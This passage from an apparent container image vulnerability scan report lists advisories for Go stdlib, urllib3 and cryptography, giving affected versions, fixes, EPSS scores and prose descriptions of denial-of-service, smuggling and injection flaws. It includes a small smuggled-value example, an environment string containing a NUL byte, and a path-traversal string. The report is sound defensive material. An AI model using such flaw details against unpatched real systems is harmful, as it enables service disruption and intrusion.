certificate. This affects programs which validate arbitrary certificate chains. Affected range <1.22.7 Fixed version 1.22.7 EPSS Score 0.163% EPSS Percentile 38th percentile Description Calling Parse on a "// +build" build tag line with deeply nested expressions can cause a panic due to stack exhaustion. Affected range <1.22.7 Fixed version 1.22.7 EPSS Score 0.306% EPSS Percentile 53rd percentile Description Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. This is a follow-up to CVE-2022-30635. Affected range <1.21.12 Fixed version 1.21.12 EPSS Score 0.618% EPSS Percentile 69th percentile Description The net/http HTTP/1.1 client mishandled the case where a server responds to a request with an "Expect: 100-continue" header with a non-informational (200 or higher) status. This mishandling could leave a client connection in an invalid state, where the next request sent on the connection will fail. An attacker sending a request to a net/http/httputil.ReverseProxy proxy can exploit this mishandling to cause a denial of service by sending "Expect: 100-continue" requests which elicit a non-informational response from the backend. Each such request leaves the proxy with an invalid connection, and causes one subsequent request using that connection to fail. Affected range <1.21.8 Fixed version 1.21.8 EPSS Score 1.498% EPSS Percentile 81st percentile Description The ParseAddressList function incorrectly handles comments (text within parentheses) within display names. Since this is a misalignment with conforming address parsers, it can result in different trust decisions being made by programs using different parsers. Affected range <1.21.9 Fixed version 1.21.9 EPSS Score 66.635% EPSS Percentile 98th percentile Description An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames. Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed. This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send. The fix sets a limit on the amount of excess header frames we will process before closing a connection. Affected range <1.20.0 Fixed version 1.20.0 EPSS Score 0.185% EPSS Percentile 40th percentile Description Before Go 1.20, the RSA based TLS key exchanges used the math/big library, which is not constant time. RSA blinding was applied to prevent timing attacks, but analysis shows this may not have been fully effective. In particular it appears as if the removal of PKCS#1 padding may leak timing information, which in turn could be used to recover session key bits. In Go 1.20, the crypto/tls library switched to a fully constant time RSA implementation, which we do not believe exhibits any timing side channels. Affected range <1.20.11 Fixed version 1.20.11 EPSS Score 0.083% EPSS Percentile 24th percentile Description The filepath package does not recognize paths with a ??\ prefix as special. On Windows, a path beginning with ??\ is a Root Local Device path equivalent to a path beginning with \?. Paths with a ??\ prefix may be used to access arbitrary locations on the system. For example, the path ??\c:\x is equivalent to the more common path c:\x. Before fix, Clean could convert a rooted path such as \a..??\b into the root local device path ??\b. Clean will now convert this to .??\b. Similarly, Join(, ??, b) could convert a seemingly innocent sequence of path elements into the root local device path ??\b. Join will now convert this to .??\b. In addition, with fix, IsAbs now correctly reports paths beginning with ??\ as absolute, and VolumeName correctly reports the ??\ prefix as a volume name. UPDATE: Go 1.20.11 and Go 1.21.4 inadvertently changed the definition of the volume name in Windows paths starting with ?, resulting in filepath.Clean(?\c:) returning ?\c: rather than ?\c:\ (among other effects). The previous behavior has been restored. Affected range <1.20.10 Fixed version 1.20.10 EPSS Score 94.466% EPSS Percentile 100th percentile Description A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing. With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection. This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2. The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function. Affected range <1.20.10 Fixed version 1.20.10 EPSS Score 0.150% EPSS Percentile 36th percentile Description A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing. With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection. This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2. The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.013% EPSS Percentile 1st percentile Description Calling any of the Parse functions on Go source code which contains //line directives with very large line numbers can cause an infinite loop due to integer overflow. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.066% EPSS Percentile 21st percentile Description Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts. This stems from several causes: mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector. The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue. With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations. In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms: Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxparts=. Form parts parsed with NextPart and NextRawPart may contain no more than 10,000 header fields. In addition, forms parsed with ReadForm may contain no more than 10,000 header fields across all parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxheaders=. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.045% EPSS Percentile 14th percentile Description HTTP and MIME header parsing can allocate large amounts of memory, even when parsing small inputs, potentially leading to a denial of service. Certain unusual patterns of input data can cause the common function used to parse HTTP and MIME headers to allocate substantially more memory than required to hold the parsed headers. An attacker can exploit this behavior to cause an HTTP server to allocate large amounts of memory from a small request, potentially leading to memory exhaustion and a denial of service. With fix, header parsing now correctly allocates only the memory required to hold parsed headers. Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.055% EPSS Percentile 17th percentile Description A denial of service is possible from excessive resource consumption in net/http and mime/multipart. Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue. ReadForm takes a maxMemory parameter, and is documented as storing "up to maxMemory bytes +10MB (reserved for non-file parts) in memory". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files. With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous. In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type's documentation states, "If stored on disk, the File's underlying concrete type will be an *os.File.". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct. Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader. Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.017% EPSS Percentile 3rd percentile Description Large handshake records may cause panics in crypto/tls. Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses. This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth >= RequestClientCert). Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.229% EPSS Percentile 45th percentile Description A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests. Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.175% EPSS Percentile 39th percentile Description A path traversal vulnerability exists in filepath.Clean on Windows. On Windows, the filepath.Clean function could transform an invalid path such as "a/../c:/b" into the valid path "c:\b". This transformation of a relative (if invalid) path into an absolute path could enable a directory traversal attack. After fix, the filepath.Clean function transforms this path into the relative (but still invalid) path ".\c:\b". Affected range <1.18.9 Fixed version 1.18.9 EPSS Score 0.069% EPSS Percentile 21st percentile Description On Windows, restricted files can be accessed via os.DirFS and http.Dir. The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS("C:/tmp").Open("COM1") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access. In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system. With fix applied, the behavior of os.DirFS("") has changed. Previously, an empty root was treated equivalently to "/", so os.DirFS("").Open("tmp") would open the path "/tmp". This now returns an error. Affected range <1.18.8 Fixed version 1.18.8 EPSS Score 0.013% EPSS Percentile 2nd percentile Description Due to unsanitized NUL values, attackers may be able to maliciously set environment variables on Windows. In syscall.StartProcess and os/exec.Cmd, invalid environment variable values containing NUL values are not properly checked for. A malicious environment variable value can exploit this behavior to set a value for a different environment variable. For example, the environment variable string "A=B\x00C=D" sets the variables "A=B" and "C=D". Affected range <1.18.7 Fixed version 1.18.7 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Programs which compile regular expressions from untrusted sources may be vulnerable to memory exhaustion or denial of service. The parsed regexp representation is linear in the size of the input, but in some cases the constant factor can be as high as 40,000, making relatively small regexps consume much larger amounts of memory. After fix, each regexp being parsed is limited to a 256 MB memory footprint. Regular expressions whose representation would use more space than that are rejected. Normal use of regular expressions is unaffected. Affected range >=1.18.0-0 <1.18.5 Fixed version 1.18.5 EPSS Score 0.113% EPSS Percentile 30th percentile Description Decoding big.Float and big.Rat types can panic if the encoded message is too short, potentially allowing a denial of service. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.096% EPSS Percentile 27th percentile Description Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.096% EPSS Percentile 27th percentile Description Unmarshaling an XML document into a Go struct which has a nested field that uses the 'any' field tag can panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.096% EPSS Percentile 27th percentile Description Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.041% EPSS Percentile 12th percentile Description Calling Reader.Read on an archive containing a large number of concatenated 0-length compressed files can cause a panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.038% EPSS Percentile 11th percentile Description Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion. Affected range <1.18.7 Fixed version 1.18.7 EPSS Score 0.031% EPSS Percentile 9th percentile Description Requests forwarded by ReverseProxy include the raw query parameters from the inbound request, including unparsable parameters rejected by net/http. This could permit query parameter smuggling when a Go proxy forwards a parameter with an unparsable value. After fix, ReverseProxy sanitizes the query parameters in the forwarded query when the outbound request's Form field is set after the ReverseProxy. Director function returns, indicating that the proxy has parsed the query parameters. Proxies which do not parse query parameters continue to forward the original query parameters unchanged. Affected range <1.18.7 Fixed version 1.18.7 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.014% EPSS Percentile 2nd percentile Description Calling Decoder.Skip when parsing a deeply nested XML document can cause a panic due to stack exhaustion. Affected range <1.18.6 Fixed version 1.18.6 EPSS Score 0.093% EPSS Percentile 26th percentile Description HTTP/2 server connections can hang forever waiting for a clean shutdown that was preempted by a fatal error. This condition can be exploited by a malicious client to cause a denial of service. Affected range <1.19.9 Fixed version 1.19.9 EPSS Score 0.048% EPSS Percentile 15th percentile Description Templates containing actions in unquoted HTML attributes (e.g. "attr={{.}}") executed with empty input can result in output with unexpected results when parsed due to HTML normalization rules. This may allow injection of arbitrary attributes into tags. Affected range <1.19.9 Fixed version 1.19.9 EPSS Score 0.065% EPSS Percentile 20th percentile Description Angle brackets (<>) are not considered dangerous characters when inserted into CSS contexts. Templates containing multiple actions separated by a '/' character can result in unexpectedly closing the CSS context and allowing for injection of unexpected HTML, if executed with untrusted input.

stdlib 1.24.4 (golang) pkg:golang/stdlib@1.24.4 Affected range <1.24.11 Fixed version 1.24.11 EPSS Score 0.017% EPSS Percentile 3rd percentile Description Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range <1.24.9 Fixed version 1.24.9 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

urllib3 2.0.7 (pypi) pkg:pypi/urllib3@2.0.7 Improper Handling of Highly Compressed Data (Data Amplification) Affected range >=1.22 <2.6.3 Fixed version 2.6.3 CVSS Score 8.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H EPSS Score 0.018% EPSS Percentile 4th percentile Description Impact urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption. However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409). Affected usages Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preload_content=False when they do not disable redirects. Remediation Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preload_content=False. If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source. Improper Handling of Highly Compressed Data (Data Amplification) Affected range >=1.0 <2.6.0 Fixed version 2.6.0 CVSS Score 8.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H EPSS Score 0.026% EPSS Percentile 6th percentile Description Impact urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation. The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data. Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources. stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly. Remediation Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount. If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3. Credits The issue was reported by @Cycloctane. Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF. Allocation of Resources Without Limits or Throttling Affected range >=1.24 <2.6.0 Fixed version 2.6.0 CVSS Score 8.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H EPSS Score 0.033% EPSS Percentile 9th percentile Description Impact urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd). However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data. Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly. Remediation Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5. If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

cryptography 41.0.7 (pypi) pkg:pypi/cryptography@41.0.7 Observable Discrepancy Affected range <42.0.0 Fixed version 42.0.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N EPSS Score 0.707% EPSS Percentile 72nd percentile Description A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data. NULL Pointer Dereference Affected range >=38.0.0 <42.0.4 Fixed version 42.0.4 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.341% EPSS Percentile 56th percentile Description If pkcs12.serialize_key_and_certificates is called with both: A certificate whose public key did not match the provided private key An encryption_algorithm with hmac_hash set (via PrivateFormat.PKCS12.encryption_builder().hmac_hash(...) Then a NULL pointer dereference would occur, crashing the Python process. This has been resolved, and now a ValueError is properly raised. Patched in pyca/cryptography#10423

golang.org/x/crypto 0.36.0 (golang) pkg:golang/golang.org/x/crypto@0.36.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.033% EPSS Percentile 9th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

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Recommended fixes for image ghcr.io/dependabot/dependabot-updater-core:latest

Base image is ubuntu:24.04

Name	24.04
Digest	sha256:a4453623f2f8319cfff65c43da9be80fe83b1a7ce689579b475867d69495b782
Vulnerabilities
Pushed	1 week ago
Size	30 MB
Packages	131
OS	24.04

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Tag	Details	Pushed	Vulnerabilities
26.04 Major OS version update Also known as: devel resolute resolute-20260106.1	Benefits: Image contains 9 fewer packages Image has similar size Image introduces no new vulnerability but removes 8 Major OS version update Image details: Size: 34 MB OS: 26.04	2 weeks ago
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🔍 Vulnerabilities of ghcr.io/dependabot/dependabot-updater-core:latest

📦 Image Reference ghcr.io/dependabot/dependabot-updater-core:latest

digest	sha256:354d02aa29acf525570c732b6e006ecf138de6d63ca525d552eb4b24880ddc6c
vulnerabilities
platform	linux/amd64
size	341 MB
packages	594

📦 Base Image ubuntu:14a4f85a37e1371d2fcf8345a5325c82048e05f9501bfaa4f58924c2d56f195e

also known as	24.04 latest noble noble-20260113
digest	sha256:a4453623f2f8319cfff65c43da9be80fe83b1a7ce689579b475867d69495b782
vulnerabilities

stdlib 1.18.3 (golang) pkg:golang/stdlib@1.18.3 Affected range <1.21.11 Fixed version 1.21.11 EPSS Score 0.085% EPSS Percentile 25th percentile Description The various Is methods (IsPrivate, IsLoopback, etc) did not work as expected for IPv4-mapped IPv6 addresses, returning false for addresses which would return true in their traditional IPv4 forms. Affected range <1.19.9 Fixed version 1.19.9 EPSS Score 0.243% EPSS Percentile 47th percentile Description Not all valid JavaScript whitespace characters are considered to be whitespace. Templates containing whitespace characters outside of the character set "\t\n\f\r\u0020\u2028\u2029" in JavaScript contexts that also contain actions may not be properly sanitized during execution. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.646% EPSS Percentile 70th percentile Description Templates do not properly consider backticks (`) as Javascript string delimiters, and do not escape them as expected. Backticks are used, since ES6, for JS template literals. If a template contains a Go template action within a Javascript template literal, the contents of the action can be used to terminate the literal, injecting arbitrary Javascript code into the Go template. As ES6 template literals are rather complex, and themselves can do string interpolation, the decision was made to simply disallow Go template actions from being used inside of them (e.g. "var a = {{.}}"), since there is no obviously safe way to allow this behavior. This takes the same approach as github.com/google/safehtml. With fix, Template.Parse returns an Error when it encounters templates like this, with an ErrorCode of value 12. This ErrorCode is currently unexported, but will be exported in the release of Go 1.21. Users who rely on the previous behavior can re-enable it using the GODEBUG flag jstmpllitinterp=1, with the caveat that backticks will now be escaped. This should be used with caution. Affected range <1.23.8 Fixed version 1.23.8 EPSS Score 0.043% EPSS Percentile 13th percentile Description The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext. Affected range <1.19.10 Fixed version 1.19.10 EPSS Score 0.009% EPSS Percentile 1st percentile Description On Unix platforms, the Go runtime does not behave differently when a binary is run with the setuid/setgid bits. This can be dangerous in certain cases, such as when dumping memory state, or assuming the status of standard i/o file descriptors. If a setuid/setgid binary is executed with standard I/O file descriptors closed, opening any files can result in unexpected content being read or written with elevated privileges. Similarly, if a setuid/setgid program is terminated, either via panic or signal, it may leak the contents of its registers. Affected range <1.24.11 Fixed version 1.24.11 EPSS Score 0.017% EPSS Percentile 3rd percentile Description Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range <1.24.9 Fixed version 1.24.9 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains. Affected range <1.22.7 Fixed version 1.22.7 EPSS Score 0.163% EPSS Percentile 38th percentile Description Calling Parse on a "// +build" build tag line with deeply nested expressions can cause a panic due to stack exhaustion. Affected range <1.22.7 Fixed version 1.22.7 EPSS Score 0.306% EPSS Percentile 53rd percentile Description Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. This is a follow-up to CVE-2022-30635. Affected range <1.21.12 Fixed version 1.21.12 EPSS Score 0.618% EPSS Percentile 69th percentile Description The net/http HTTP/1.1 client mishandled the case where a server responds to a request with an "Expect: 100-continue" header with a non-informational (200 or higher) status. This mishandling could leave a client connection in an invalid state, where the next request sent on the connection will fail. An attacker sending a request to a net/http/httputil.ReverseProxy proxy can exploit this mishandling to cause a denial of service by sending "Expect: 100-continue" requests which elicit a non-informational response from the backend. Each such request leaves the proxy with an invalid connection, and causes one subsequent request using that connection to fail. Affected range <1.21.8 Fixed version 1.21.8 EPSS Score 1.498% EPSS Percentile 81st percentile Description The ParseAddressList function incorrectly handles comments (text within parentheses) within display names. Since this is a misalignment with conforming address parsers, it can result in different trust decisions being made by programs using different parsers. Affected range <1.21.9 Fixed version 1.21.9 EPSS Score 66.635% EPSS Percentile 98th percentile Description An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames. Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed. This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send. The fix sets a limit on the amount of excess header frames we will process before closing a connection. Affected range <1.20.0 Fixed version 1.20.0 EPSS Score 0.185% EPSS Percentile 40th percentile Description Before Go 1.20, the RSA based TLS key exchanges used the math/big library, which is not constant time. RSA blinding was applied to prevent timing attacks, but analysis shows this may not have been fully effective. In particular it appears as if the removal of PKCS#1 padding may leak timing information, which in turn could be used to recover session key bits. In Go 1.20, the crypto/tls library switched to a fully constant time RSA implementation, which we do not believe exhibits any timing side channels. Affected range <1.20.11 Fixed version 1.20.11 EPSS Score 0.083% EPSS Percentile 24th percentile Description The filepath package does not recognize paths with a ??\ prefix as special. On Windows, a path beginning with ??\ is a Root Local Device path equivalent to a path beginning with \?. Paths with a ??\ prefix may be used to access arbitrary locations on the system. For example, the path ??\c:\x is equivalent to the more common path c:\x. Before fix, Clean could convert a rooted path such as \a..??\b into the root local device path ??\b. Clean will now convert this to .??\b. Similarly, Join(, ??, b) could convert a seemingly innocent sequence of path elements into the root local device path ??\b. Join will now convert this to .??\b. In addition, with fix, IsAbs now correctly reports paths beginning with ??\ as absolute, and VolumeName correctly reports the ??\ prefix as a volume name. UPDATE: Go 1.20.11 and Go 1.21.4 inadvertently changed the definition of the volume name in Windows paths starting with ?, resulting in filepath.Clean(?\c:) returning ?\c: rather than ?\c:\ (among other effects). The previous behavior has been restored. Affected range <1.20.10 Fixed version 1.20.10 EPSS Score 94.466% EPSS Percentile 100th percentile Description A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing. With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection. This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2. The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function. Affected range <1.20.10 Fixed version 1.20.10 EPSS Score 0.150% EPSS Percentile 36th percentile Description A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing. With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection. This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2. The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.013% EPSS Percentile 1st percentile Description Calling any of the Parse functions on Go source code which contains //line directives with very large line numbers can cause an infinite loop due to integer overflow. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.066% EPSS Percentile 21st percentile Description Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts. This stems from several causes: mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector. The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue. With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations. In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms: Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxparts=. Form parts parsed with NextPart and NextRawPart may contain no more than 10,000 header fields. In addition, forms parsed with ReadForm may contain no more than 10,000 header fields across all parts. This limit may be adjusted with the 